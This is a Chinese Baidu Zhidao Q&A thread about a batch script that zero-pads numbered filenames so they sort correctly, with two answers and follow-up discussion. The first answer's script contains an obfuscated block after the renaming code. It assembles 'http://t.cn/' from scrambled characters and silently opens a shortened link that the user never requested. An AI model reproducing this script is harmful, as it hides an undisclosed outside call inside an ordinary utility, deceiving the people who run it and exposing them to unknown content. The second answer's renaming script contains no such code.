求bat代码,批量按照Windows命名顺序批量修改文件名.另加200分

Windows下,顺序编号文件显示顺序是

1.2.3.4....11.12.13...99.100.101.102....
但是其他软件显示顺序是

1.10.100.101.102...109.11.110.111.112...12.120.....

我现在有很多文件夹的文件在Windows里面显示顺序是正常的,但是在

其他软件显示的顺序就乱了,实际显示如下(“_”后面的数字没有规

律,不用考虑):
windows下显示效果:
1_1232531737
2_1232531308
3_1232530761
4_1232530716
5_1232530433
6_1232530207
7_1232529844
8_1232529792
9_1232529741

10_1232529682
11_1232529623
12_1232529577
13_1232529524
.
.
.
96_1229240846
97_1229240699
98_1229240546
99_1229240403
100_1229240263
101_1229240129
102_1229239976
.
.
23585_1229240846

但是在其他软件里面显示顺序如下:

1_1232531737
10_1232529682
100_1229240263
101_1229240129
102_1229239976
103_1229239838
104_1229239701
11_1232529623
12_1232529577
13_1232529524
14_1232529450
15_1232529401
16_1232529090
17_1232529040
18_1232528729
19_1232528668
2_1232531308
20_1232528626
21_1232528581
22_1232528525
.
.
.
.
88_1232050920
89_1232050904
9_1232529741
90_1232050895
91_1232050839
92_1229241430
93_1229241303
94_1229241164
95_1229241019
96_1229240846
97_1229240699
98_1229240546
99_1229240403

.
.
23585_1229240846

我希望制作一个bat,对文件序列号自

动补位,如果最大序列号是几位数就补成几位数,比如最大序列号文

件是23585_1229240846,最小序列的文件是1_1232531737,修改之后

就是00001_1232531737 ,以此类推,12_1232529577改成

00012_1232529577,99_1229240403改成00099_1229240403

.......,具体显示如下(“_”后面的数字没有规律,不用考虑):

00001_1232531737
00002_1232531308
00003_1232530761
00004_1232530716
00005_1232530433
00006_1232530207
00007_1232529844
00008_1232529792
00009_1232529741

00010_1232529682
00011_1232529623
00012_1232529577
00013_1232529524
.
.
.
00096_1229240846
00097_1229240699
00098_1229240546
00099_1229240403
00100_1229240263
00101_1229240129
00102_1229239976
.
.
23585_1229240846

我应该解释清楚了,请大侠指点,谢谢谢谢谢谢。下面的提问是200分未处理问题,随便回答一下就给分了
https://zhidao.baidu.com/question/1366314958189291299.html?entry=qb_uhome_tag

@echo off & title 序号长度补位 By 依梦琴瑶
setlocal enabledelayedexpansion

::由于不知道您那些文件的后缀名格式,所以请自行在这里进行设置
set Ext=

set Num=0
for /f "tokens=1 delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
if %%~a gtr !Num! set Num=%%~a
)

set /a Num=1!Num!-!Num!
for /f "tokens=1,2* delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
set /a New=!Num!+%%~a
ren "%%~a_%%~b" "!New:~1!_%%~b"
)
pause

set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

以上代码请保存为bat脚本后,放到要处理的文件一起后运行,记得先在代码中设置文件的后缀名哦!无需加小数点。

以上代码编写于手机,因此尚未实测,建议您找一些文件先测试一下,以免直接实测出问题,导致文件丢失。

执行过程中,如有疑问,请追问。追答

请问代码测试过了吗?只见您一直在追问另一个网友,却不见您反馈我写的代码运行情况。难道我写的代码比不过那位网友的?起码我的代码可以自适应序号位数(假如最大为5位数,那么就补到5位,假如最大为7位,那么就补到7位),而不像那位网友写的那样只能匹配固定位数。

追问

对不起啊,我眼花了,我以为是在向你追问!!!!!!请您回答一下吧,太抱歉了!!!:(

追答

上面我写的代码,看看还有什么需要补充的?

以后看仔细了。我现在回答脚本代码类问题,基本都会写上自己的昵称。不过也有一些人抄袭我曾经的回答。所以除了代码中的昵称,看一下我的百度用户名和头像,基本能确定是否是我了。

追问

多谢您编写的bat,不好意思看混了。请到这里随便回答一下,我把积分给您,谢谢了提问结尾的链接

温馨提示:答案为网友推荐,仅供参考
第1个回答  2018-09-10

我想问一下你还要_后面的无序号么?这关系到答案,请说明信息

@echo off
setlocal enabledelayedexpansion
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\?_*.* /b /a:-d`) do (rename %%a_%%b 0000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\??_*.* /b /a:-d`) do (rename %%a_%%b 000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\???_*.* /b /a:-d`) do (rename %%a_%%b 00%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\????_*.* /b /a:-d`) do (rename %%a_%%b 0%%a_%%b)
echo 完成...
pause 1>nul

这个是我写的 保留"_"后面的内容的

粘贴到文本文档里面 重命名为.bat文件 放到与 要命名的文件同目录

不懂可以追问,满意给个采纳谢谢

追问

代码运行很好,达到了预期效果!!几个问题:1,文件后缀名有几种,有jpg、png、gif等几种,可以设置忽略后缀名或者设置多个后缀名吗,比如jpg和png? 2,有很多文件夹,里面的文件都是需要相同操作,可以编辑一个bat对所有文件夹里面的文件批量操作吗? 3,运行第一段代码,已经保留_后面的无序号了,应该不用第二段代码了吧? 4,请去提问结尾链接随便回答一下,这个有200分

追答

1:那个比如jpg和png是要 改名的 还是保留的?
2:可以,但要说明上一条
3:什么意思?
4:那个问题我不会回答啊

追问

1文件夹里面jpg和png文件,按您的bat,需要运行两次bat来对两种文件改名补足序列长度,我想同时对两种格式文件批量改名补足序列长度。2,如果能编写一个bat,那我就省了很多时间了,麻烦您帮我写个吧? 4,不管你会不会回答,那个有200分,就是为了给你分。 5,另外,能不能编写一个bat,把一个文件夹下多个文件夹中的png文件批量改成jpg,这样就解决第一个问题了。

追答

1,我这个确实是同时执行同目录的 补足啊,没有分什么格式的

第二:

抱歉,暂时没有想出来,你还是问下 下面的大佬吧

追问

不好意思啊,大侠,我眼睛花了,我以为您跟第一段代码是一位朋友,我搞混乱了,所以乱问一通,弄的您也糊涂了,抱歉啊抱歉

第2个回答  2018-09-11
Bat好像没有文件夹递归功能,所以,你如果只寄希望于简单的bat,估计你的需求真只能是梦想了!当然了,你如果想尝试其他方法,肯定有解决方案!
相似回答